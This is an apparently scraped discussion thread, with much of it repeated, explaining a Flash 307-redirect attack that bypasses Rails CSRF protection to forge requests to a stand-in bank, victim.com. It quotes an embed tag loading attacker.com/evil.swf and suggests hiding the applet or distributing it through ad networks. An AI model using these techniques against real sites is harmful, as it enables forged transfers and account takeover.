4 ms·

This is so difficult to follow. 1) Who hosts the flash app? The site owned by the attacker? Or must the flash app be maliciously uploaded to the site being att

This is so difficult to follow. 1) Who hosts the flash app? The site owned by the attacker? Or must the flash app be maliciously uploaded to the site being attacked? 2) And seriously, the final result of this scheme to to make a post to "www.victim.com". Doesn't "victim" mean someone who is exploited? I would expect that data would be taken from a victim, not posted to a victim.

nbpoole 16y ago
It's actually fairly straightforward 1. It doesn't matter where the SWF is, as long as it can make requests to a redirecting script. That's the point of the attack: you can make cross-domain requests via a redirect. 2. Victim is referring to a victim domain. Pretend victim.com is your bank, and the POST is to send some cash to my account.
- euroclydon 16y ago
  So my bank would have to already have a page which returns a 307?
  - nbpoole 16y ago
    No. Let me try explaining the simplest possible version of this attack. Your bank (http://victim.com http://victim.com) is running its external-facing web application on Ruby on Rails. If you send a POST request to http://victim.com/transfer http://victim.com/transfer, you can transfer money to another person (the recipient is specified in the POST body). The attacker sets up the following things on attacker.com: 1. A page that replies with 307 redirects to a specified destination 2. A Flash applet that makes POST requests 3. A page embedding that applet The attacker sets the applet as if it were making a POST request to http://victim.com/transfer http://victim.com/transfer, setting the X-Requested-With header to bypass CSRF protection. But instead of POSTing directly to victim.com, the attacker POSTs to the redirect script. So the end result looks something like this: 1. Flash checks to make sure that it can make requests to attacker.com (via crossdomain.xml, or by the same origin policy). It can. 2. POST request to attacker.com/redirect is made 3. attacker.com/redirect says "307, the request should go to http://victim.com/transfer http://victim.com/transfer 4. Flash says "OK" and makes the same request but now directed at victim.com 5. After the request has been made, Flash checks the crossdomain.xml file and says "whoops, shouldn't have made that request: you can't see the response."
    - Yansky 16y ago
      The user would first have to go to the attacker.com phishing site though right? It sounds like it makes phishing scams a lot easier. (thanks for the explanation btw)
      - mbreese 16y ago
        My reading is that it's not necessarily phishing because they wouldn't need to ask the user for any information. All that would be required is for the user to be signed into the targeted webapp. It could be totally automated. But, since the attacker doesn't get the response, they couldn't necessarily do anything with that. That doesn't make this any less dangerous, as in the bank example, you don't necessarily need to see that your transfer was successful in order to get the money.
      - nbpoole 16y ago
        <embed src="http://attacker.com/evil.swf></embed> is all that you need to execute this attack in your browser. An attacker can hide the applet via CSS and put it on a legitimate looking page. All the target needs to do is be logged in.
        scommab 16y ago
        If you want to be super evil about it you could also embed the evil POSTing code in a swf that looks like an unevil ad and then let an unsuspecting ad network distribute it for you. Edit: grammar.
        nbpoole 16y ago
        Correct. Put it up using Google Adwords or a similar network, make sure attacker.com has a proper crossdomain.xml file (because the SWF won't be served from attacker.com), and you have a working exploit that can be deployed all over the Internet.
    - ben_h 16y ago
      Good explanation, thanks. The part I don't understand is the POST hitting the victim app. I don't know django but rails apps require an authenticity token to be included in all non-GET requests. How does the attacking app satisfy this token check?
amalcon 16y ago
It's basically a bug in Flash. It works like this: Attacker hosts a flash file, which attempts a cross-domain request to a server controlled by the attacker. Flash checks crossdomain.xml on the attacker-controlled server. It says "Allow everything". Flash makes the request to the attacker-controlled server. Server issues a 307 redirect to a www.victim.com that manipulates the user's account in a malicious way. The particular manipulation depends on what www.victim.com does, but changing the e-mail address to spoof the automated password recovery system would be a common one. Flash does not check the crossdomain.xml on www.victim.com. The attacker has now manipulated the user's account on www.victim.com in a malicious way.

nbpoole 16y ago

It's actually fairly straightforward 1. It doesn't matter where the SWF is, as long as it can make requests to a redirecting script. That's the point of the attack: you can make cross-domain requests via a redirect. 2. Victim is referring to a victim domain. Pretend victim.com is your bank, and the POST is to send some cash to my account.

euroclydon 16y ago
So my bank would have to already have a page which returns a 307?
- nbpoole 16y ago
  No. Let me try explaining the simplest possible version of this attack. Your bank (http://victim.com http://victim.com) is running its external-facing web application on Ruby on Rails. If you send a POST request to http://victim.com/transfer http://victim.com/transfer, you can transfer money to another person (the recipient is specified in the POST body). The attacker sets up the following things on attacker.com: 1. A page that replies with 307 redirects to a specified destination 2. A Flash applet that makes POST requests 3. A page embedding that applet The attacker sets the applet as if it were making a POST request to http://victim.com/transfer http://victim.com/transfer, setting the X-Requested-With header to bypass CSRF protection. But instead of POSTing directly to victim.com, the attacker POSTs to the redirect script. So the end result looks something like this: 1. Flash checks to make sure that it can make requests to attacker.com (via crossdomain.xml, or by the same origin policy). It can. 2. POST request to attacker.com/redirect is made 3. attacker.com/redirect says "307, the request should go to http://victim.com/transfer http://victim.com/transfer 4. Flash says "OK" and makes the same request but now directed at victim.com 5. After the request has been made, Flash checks the crossdomain.xml file and says "whoops, shouldn't have made that request: you can't see the response."
  - Yansky 16y ago
    The user would first have to go to the attacker.com phishing site though right? It sounds like it makes phishing scams a lot easier. (thanks for the explanation btw)
    - mbreese 16y ago
      My reading is that it's not necessarily phishing because they wouldn't need to ask the user for any information. All that would be required is for the user to be signed into the targeted webapp. It could be totally automated. But, since the attacker doesn't get the response, they couldn't necessarily do anything with that. That doesn't make this any less dangerous, as in the bank example, you don't necessarily need to see that your transfer was successful in order to get the money.
    - nbpoole 16y ago
      <embed src="http://attacker.com/evil.swf></embed> is all that you need to execute this attack in your browser. An attacker can hide the applet via CSS and put it on a legitimate looking page. All the target needs to do is be logged in.
      - scommab 16y ago
        If you want to be super evil about it you could also embed the evil POSTing code in a swf that looks like an unevil ad and then let an unsuspecting ad network distribute it for you. Edit: grammar.
        nbpoole 16y ago
        Correct. Put it up using Google Adwords or a similar network, make sure attacker.com has a proper crossdomain.xml file (because the SWF won't be served from attacker.com), and you have a working exploit that can be deployed all over the Internet.
  - ben_h 16y ago
    Good explanation, thanks. The part I don't understand is the POST hitting the victim app. I don't know django but rails apps require an authenticity token to be included in all non-GET requests. How does the attacking app satisfy this token check?

amalcon 16y ago

It's basically a bug in Flash. It works like this: Attacker hosts a flash file, which attempts a cross-domain request to a server controlled by the attacker. Flash checks crossdomain.xml on the attacker-controlled server. It says "Allow everything". Flash makes the request to the attacker-controlled server. Server issues a 307 redirect to a www.victim.com that manipulates the user's account in a malicious way. The particular manipulation depends on what www.victim.com does, but changing the e-mail address to spoof the automated password recovery system would be a common one. Flash does not check the crossdomain.xml on www.victim.com. The attacker has now manipulated the user's account on www.victim.com in a malicious way.